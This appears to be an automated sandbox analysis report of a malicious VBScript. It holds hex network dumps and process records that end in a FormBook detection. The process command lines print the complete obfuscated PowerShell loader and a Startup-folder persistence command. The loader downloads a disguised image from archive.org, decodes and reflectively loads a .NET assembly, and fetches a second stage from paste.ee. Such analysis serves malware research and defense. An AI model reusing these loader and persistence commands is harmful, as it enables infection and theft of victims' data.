b1 9a 1d 36 a6 28 0a 48 f3 aa 31 56 bd dc 1e d9 ab a9 46 d3 c4 01 52 64 24 80 a4 f2 7a Data Ascii: Ghh1is"ydPTg_4wA\|nATF&]X8J-jhaly:,cGPmHnq,HPX,?\.z$qef/p;WFR6pze"h>\$efP+3Q7fSytxn\|6^xq]$nSx6(H1VFRd$z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	188.114.96.3	443	8004	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 07:29:05 UTC	67	OUT	GET /d/A2fG2/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-10-10 07:29:06 UTC	1232	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 07:29:06 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PTYcQMSa9mHfRv7Q9cDwaHi1R%2FNV1yYKIrHL11nrM6p37hhMuQFQq4oTKVkLZjyrUazy8TFM08DqtjTD2vm93NRJaqYNQHm2%2F4YWSgIOycQ9329d4QbusRPOEQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d04e5bc7e5e5e65-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 07:29:06 UTC	137	IN	Data Raw: 66 37 66 0d 0a 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: f7f==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-10 07:29:06 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-10 07:29:06 UTC	1369	IN	Data Raw: 34 79 67 36 35 4f 58 75 37 70 70 46 4a 69 43 67 70 45 55 49 42 76 31 4f 77 6d 67 47 67 4a 4f 46 71 63 6f 76 67 4b 6a 53 68 48 6f 4f 66 2b 30 31 6d 68 6c 55 41 37 73 79 4c 6f 35 30 38 50 77 46 4a 52 30 2b 72 44 57 4e 49 6d 6b 7a 64 39 5a 4b 61 79 4e 4e 42 4b 39 62 4e 65 68 31 4f 6c 68 31 31 2f 57 6e 72 37 7a 4f 71 6e 4f 53 2b 64 78 61 41 6f 79 49 72 43 53 6c 7a 63 32 7a 39 56 79 30 62 44 51 69 63 32 2b 65 51 79 54 42 6c 4f 33 32 31 32 55 6d 74 56 63 55 69 7a 4c 53 78 74 41 4f 35 4a 4c 2b 4d 5a 45 74 44 61 43 5a 44 55 4d 61 51 33 52 59 41 52 65 73 2f 67 31 46 56 33 6c 31 42 67 48 4b 59 2b 31 5a 34 33 7a 34 6f 43 4c 64 45 4b 34 54 75 74 43 71 57 30 66 2b 69 75 51 52 39 46 62 62 49 79 70 54 4f 55 36 54 6f 31 45 6e 5a 5a 71 73 34 66 31 61 66 7a 30 74 30 47 48 Data Ascii: 4yg65OXu7ppFJiCgpEUIBv1OwmgGgJOFqcovgKjShHoOf+01mhlUA7syLo508PwFJR0+rDWNImkzd9ZKayNNBK9bNeh1Olh11/Wnr7zOqnOS+dxaAoyIrCSlzc2z9Vy0bDQic2+eQyTBlO3212UmtVcUizLSxtAO5JL+MZEtDaCZDUMaQ3RYARes/g1FV3l1BgHKY+1Z43z4oCLdEK4TutCqW0f+iuQR9FbbIypTOU6To1EnZZqs4f1afz0t0GH
2024-10-10 07:29:06 UTC	1099	IN	Data Raw: 79 6d 74 6a 36 50 34 63 39 47 2b 67 37 65 55 79 59 64 41 39 33 79 58 59 4f 4c 6c 74 73 49 46 6c 49 41 6d 33 46 57 49 7a 46 44 79 4b 44 6a 46 5a 68 73 44 6c 32 2b 67 61 72 2b 55 61 4b 56 4d 46 6f 64 47 61 45 7a 68 53 4a 77 4f 65 69 4e 46 69 39 71 48 41 2f 34 64 70 56 67 57 54 42 48 77 65 54 56 43 5a 70 74 68 70 64 49 64 77 30 70 68 61 66 42 6d 6f 59 64 32 4e 34 55 47 4e 67 53 68 78 6f 59 43 74 42 74 2f 79 42 69 75 48 41 67 61 54 72 34 54 75 66 37 77 41 6a 4e 37 6f 48 71 70 39 53 52 53 32 2f 2b 33 59 64 6a 67 35 52 4d 61 49 34 44 71 2f 6a 4b 39 79 7a 42 76 74 70 56 4f 52 74 6f 4d 6d 4f 54 55 36 63 55 64 72 4a 4c 67 6d 2f 61 39 34 41 56 68 41 36 30 6a 51 45 65 4c 63 66 39 50 33 35 69 55 43 78 61 4a 45 44 57 45 57 4e 6d 74 67 6c 77 44 74 37 41 4e 72 6b 66 6b Data Ascii: ymtj6P4c9G+g7eUyYdA93yXYOLltsIFlIAm3FWIzFDyKDjFZhsDl2+gar+UaKVMFodGaEzhSJwOeiNFi9qHA/4dpVgWTBHweTVCZpthpdIdw0phafBmoYd2N4UGNgShxoYCtBt/yBiuHAgaTr4Tuf7wAjN7oHqp9SRS2/+3Ydjg5RMaI4Dq/jK9yzBvtpVORtoMmOTU6cUdrJLgm/a94AVhA60jQEeLcf9P35iUCxaJEDWEWNmtglwDt7ANrkfk
2024-10-10 07:29:06 UTC	1369	IN	Data Raw: 34 30 30 30 0d 0a 41 77 51 41 68 52 49 53 74 2b 4f 6e 70 5a 36 65 66 67 55 59 43 66 59 4e 55 32 68 51 37 48 37 67 45 65 7a 6d 32 76 71 37 70 50 65 71 49 7a 39 65 79 4f 47 52 72 64 74 48 38 55 79 52 49 6b 56 4b 61 71 70 6f 59 69 52 47 68 68 78 61 47 52 49 6d 2b 61 5a 45 6e 35 7a 5a 34 61 2b 6b 49 59 31 6a 69 53 64 5a 6b 75 2b 38 68 32 36 6f 78 74 64 2f 6c 57 45 76 2b 58 41 67 6f 38 63 6a 58 62 6f 71 57 35 62 38 2b 36 57 54 53 51 4f 47 6c 55 65 78 71 69 77 45 46 61 49 6f 51 4d 39 36 79 59 68 5a 57 49 59 39 63 6e 55 7a 33 42 6c 6d 65 31 69 6c 61 37 58 4e 4a 45 58 54 6c 6c 7a 48 6c 61 2b 43 4f 77 51 58 73 50 65 6c 4f 7a 55 36 55 61 72 74 46 4b 73 6b 2b 57 42 35 42 6c 37 58 36 6a 4d 46 6e 75 56 56 58 36 37 72 61 39 6f 31 44 48 6c 35 70 2f 39 2b 4a 78 36 4c 73 Data Ascii: 4000AwQAhRISt+OnpZ6efgUYCfYNU2hQ7H7gEezm2vq7pPeqIz9eyOGRrdtH8UyRIkVKaqpoYiRGhhxaGRIm+aZEn5zZ4a+kIY1jiSdZku+8h26oxtd/lWEv+XAgo8cjXboqW5b8+6WTSQOGlUexqiwEFaIoQM96yYhZWIY9cnUz3Blme1ila7XNJEXTllzHla+COwQXsPelOzU6UartFKsk+WB5Bl7X6jMFnuVVX67ra9o1DHl5p/9+Jx6Ls
2024-10-10 07:29:06 UTC	1369	IN	Data Raw: 64 69 53 6e 43 30 47 4f 6a 4c 2b 48 31 4a 52 43 38 37 76 43 57 43 4c 7a 54 59 64 79 42 31 47 67 42 68 57 76 38 71 4d 76 7a 76 66 77 62 69 4f 38 61 47 4c 4d 68 4d 6d 4e 72 65 78 70 57 32 48 65 51 42 79 57 5a 67 55 2f 62 65 57 50 4c 78 67 78 53 70 4d 4c 68 70 30 44 2f 51 57 64 54 34 33 43 70 67 58 72 65 6e 51 63 33 4c 79 6a 54 6e 69 72 66 48 69 38 41 34 50 52 64 74 31 72 52 62 6b 54 7a 64 5a 68 38 4b 4a 59 37 66 65 55 51 46 6a 4a 72 2f 61 4d 51 77 75 4a 33 74 76 4d 34 5a 6d 72 37 36 39 46 43 43 38 39 75 61 4b 43 75 72 47 4e 67 76 68 49 62 70 36 6a 66 6e 70 31 38 72 62 52 5a 73 33 56 76 51 39 54 6c 59 78 54 46 74 69 76 48 62 55 4b 5a 59 64 68 76 38 32 61 39 47 4e 59 75 49 44 68 4b 75 4e 58 71 72 67 73 2f 54 37 64 65 6a 61 4c 6b 31 77 67 7a 37 7a 4a 71 6f 42 Data Ascii: diSnC0GOjL+H1JRC87vCWCLzTYdyB1GgBhWv8qMvzvfwbiO8aGLMhMmNrexpW2HeQByWZgU/beWPLxgxSpMLhp0D/QWdT43CpgXrenQc3LyjTnirfHi8A4PRdt1rRbkTzdZh8KJY7feUQFjJr/aMQwuJ3tvM4Zmr769FCC89uaKCurGNgvhIbp6jfnp18rbRZs3VvQ9TlYxTFtivHbUKZYdhv82a9GNYuIDhKuNXqrgs/T7dejaLk1wgz7zJqoB
2024-10-10 07:29:06 UTC	1369	IN	Data Raw: 54 33 51 61 4e 71 76 2b 6d 48 74 6e 78 59 62 46 57 61 41 4b 6a 44 49 51 72 57 67 64 77 4d 73 5a 43 67 50 35 54 6e 58 62 6c 55 6f 51 65 42 49 66 46 54 64 56 44 61 4f 63 67 43 64 65 79 42 42 78 32 4a 54 6c 72 34 50 4f 4b 42 55 4f 73 76 44 78 59 63 4f 6c 47 69 31 71 47 76 31 35 32 35 45 64 57 66 67 52 41 63 2f 2b 77 6f 78 67 70 54 4b 44 42 64 42 7a 76 37 67 36 37 62 58 61 76 6d 5a 30 76 31 76 4c 48 43 42 79 55 6f 47 35 4b 7a 56 43 34 55 34 42 47 2f 2f 65 6a 6c 51 4a 52 43 63 61 68 32 5a 78 76 35 46 56 76 73 75 71 35 4a 74 2f 61 34 4f 56 37 4a 79 77 4f 74 4c 54 45 38 4a 63 34 41 65 55 49 4d 6b 54 2b 4a 73 6b 61 66 32 6c 41 77 72 72 6e 72 6a 41 73 51 36 36 67 4c 74 79 47 6d 6f 5a 70 47 65 68 44 7a 6d 65 71 2f 6f 32 4f 53 6e 6a 2f 78 37 30 4b 35 71 2f 72 5a 41 Data Ascii: T3QaNqv+mHtnxYbFWaAKjDIQrWgdwMsZCgP5TnXblUoQeBIfFTdVDaOcgCdeyBBx2JTlr4POKBUOsvDxYcOlGi1qGv1525EdWfgRAc/+woxgpTKDBdBzv7g67bXavmZ0v1vLHCByUoG5KzVC4U4BG//ejlQJRCcah2Zxv5FVvsuq5Jt/a4OV7JywOtLTE8Jc4AeUIMkT+Jskaf2lAwrrnrjAsQ66gLtyGmoZpGehDzmeq/o2OSnj/x70K5q/rZA
2024-10-10 07:29:06 UTC	1369	IN	Data Raw: 58 57 6e 31 69 4b 6d 37 4c 74 35 64 6c 59 4f 74 66 46 37 69 45 34 75 64 4c 36 6f 70 61 30 38 54 37 57 49 45 55 4b 6c 65 6b 78 50 69 4e 6b 33 4a 42 41 53 33 64 4f 5a 39 74 62 57 4c 30 6d 37 39 6a 51 68 78 36 75 46 67 57 69 30 68 31 56 50 64 4c 43 6c 6e 52 64 47 4e 70 39 6b 73 38 6f 67 43 39 39 5a 56 78 63 37 38 72 42 4f 50 31 44 66 65 79 2b 33 38 31 5a 54 79 4e 6e 59 63 79 2f 6b 41 34 73 53 4c 42 52 6c 56 41 38 39 7a 36 57 65 68 66 4b 31 43 61 55 30 45 47 55 4c 39 6b 2f 48 50 31 55 69 30 53 59 7a 44 31 6f 46 70 4c 47 4e 67 48 57 34 56 50 78 6c 4e 42 77 63 6b 46 42 61 53 65 7a 77 50 51 33 2f 69 53 45 7a 35 47 66 7a 58 74 70 43 68 79 33 72 76 67 45 45 6d 6e 4b 71 42 73 51 45 39 31 59 6d 76 59 54 71 32 4e 71 76 74 6b 4d 49 6b 65 34 68 4f 46 73 6e 6b 68 39 36 Data Ascii: XWn1iKm7Lt5dlYOtfF7iE4udL6opa08T7WIEUKlekxPiNk3JBAS3dOZ9tbWL0m79jQhx6uFgWi0h1VPdLClnRdGNp9ks8ogC99ZVxc78rBOP1Dfey+381ZTyNnYcy/kA4sSLBRlVA89z6WehfK1CaU0EGUL9k/HP1Ui0SYzD1oFpLGNgHW4VPxlNBwckFBaSezwPQ3/iSEz5GfzXtpChy3rvgEEmnKqBsQE91YmvYTq2NqvtkMIke4hOFsnkh96
2024-10-10 07:29:06 UTC	1369	IN	Data Raw: 6a 46 58 31 47 58 46 78 4a 64 48 46 7a 78 62 42 2f 61 36 55 7a 53 32 6b 32 69 69 39 62 63 37 48 4c 2b 32 4a 4d 49 41 67 31 49 39 6b 36 41 4f 61 38 79 6d 4f 54 4e 36 7a 63 4c 61 4e 51 4a 48 52 45 33 64 67 71 35 30 6e 47 33 35 35 61 67 32 6b 48 4a 39 31 73 49 77 7a 50 4c 4a 56 2b 68 79 4d 74 4b 36 6f 30 52 63 44 72 37 39 45 41 30 55 56 47 68 30 46 33 4e 7a 48 74 49 6e 41 30 2f 2b 4b 41 30 2b 36 4c 35 68 4e 6c 75 76 32 62 38 64 39 46 4c 6f 45 33 4f 32 63 43 66 2f 36 45 66 44 4b 6b 79 31 38 70 34 58 63 46 4e 58 57 71 76 41 2b 31 4a 48 6e 2b 78 78 69 71 69 42 43 38 30 62 48 50 2b 62 4f 49 68 4d 57 54 52 55 4a 43 58 42 4f 74 58 56 79 41 6a 54 35 4b 5a 32 7a 71 79 45 31 61 48 76 53 62 70 32 73 6f 39 63 68 77 46 76 6e 49 70 73 6d 66 64 62 35 58 54 76 66 4a 4e 32 Data Ascii: jFX1GXFxJdHFzxbB/a6UzS2k2ii9bc7HL+2JMIAg1I9k6AOa8ymOTN6zcLaNQJHRE3dgq50nG355ag2kHJ91sIwzPLJV+hyMtK6o0RcDr79EA0UVGh0F3NzHtInA0/+KA0+6L5hNluv2b8d9FLoE3O2cCf/6EfDKky18p4XcFNXWqvA+1JHn+xxiqiBC80bHP+bOIhMWTRUJCXBOtXVyAjT5KZ2zqyE1aHvSbp2so9chwFvnIpsmfdb5XTvfJN2
2024-10-10 07:29:06 UTC	1369	IN	Data Raw: 4e 6c 42 5a 4d 66 31 31 49 33 41 43 48 33 61 57 62 62 33 2f 35 75 63 41 4e 47 61 76 50 61 73 35 78 41 73 71 55 63 34 62 49 50 6e 4d 4d 66 48 31 6b 4d 4b 34 50 36 76 45 75 56 76 64 4c 41 63 49 70 39 39 6f 49 7a 44 4b 32 38 70 4d 6d 37 35 63 42 6a 2b 39 4c 2b 48 70 75 6f 59 4d 70 61 36 50 32 79 72 43 45 59 43 72 69 5a 32 51 2b 46 61 6c 76 2b 79 47 42 49 4f 42 53 36 76 61 67 70 64 58 76 62 4a 75 45 34 33 61 4b 6e 68 6e 6b 74 41 64 68 71 7a 4e 56 68 59 37 48 4c 6f 6e 59 51 62 79 54 46 32 6e 6c 61 61 76 65 43 59 2b 53 50 4c 7a 45 5a 30 47 63 62 5a 35 56 6a 6f 6b 78 4c 65 47 76 79 73 32 37 64 56 46 6e 72 4a 62 55 30 63 79 52 76 50 2b 2b 52 32 69 31 49 6a 68 76 52 46 53 4e 7a 76 55 38 2b 57 51 6e 43 55 4b 68 37 4f 73 6b 7a 2b 4b 6a 55 6f 4b 65 2b 2b 51 77 64 41 Data Ascii: NlBZMf11I3ACH3aWbb3/5ucANGavPas5xAsqUc4bIPnMMfH1kMK4P6vEuVvdLAcIp99oIzDK28pMm75cBj+9L+HpuoYMpa6P2yrCEYCriZ2Q+Falv+yGBIOBS6vagpdXvbJuE43aKnhnktAdhqzNVhY7HLonYQbyTF2nlaaveCY+SPLzEZ0GcbZ5VjokxLeGvys27dVFnrJbU0cyRvP++R2i1IjhvRFSNzvU8+WQnCUKh7Oskz+KjUoKe++QwdA

Target ID:	0
Start time:	03:28:44
Start date:	10/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Logistics1.vbs"
Imagebase:	0x7ff6f95f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	03:28:45
Start date:	10/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')
Imagebase:	0x7ff636300000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	03:28:45
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	03:28:45
Start date:	10/10/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1 -n 10
Imagebase:	0x7ff7d0070000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	03:28:54
Start date:	10/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	03:28:57
Start date:	10/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	03:28:57
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	03:28:57
Start date:	10/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)\|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	03:29:05
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\appidtel.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\appidtel.exe"
Imagebase:	0x250000
File size:	20'992 bytes
MD5 hash:	2C04FB942B2735073D75063E9FFBF50C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	03:29:05
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\appidtel.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\appidtel.exe"
Imagebase:	0x250000
File size:	20'992 bytes
MD5 hash:	2C04FB942B2735073D75063E9FFBF50C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.1841391892.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.1841391892.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.1841927454.00000000032F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.1841927454.00000000032F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true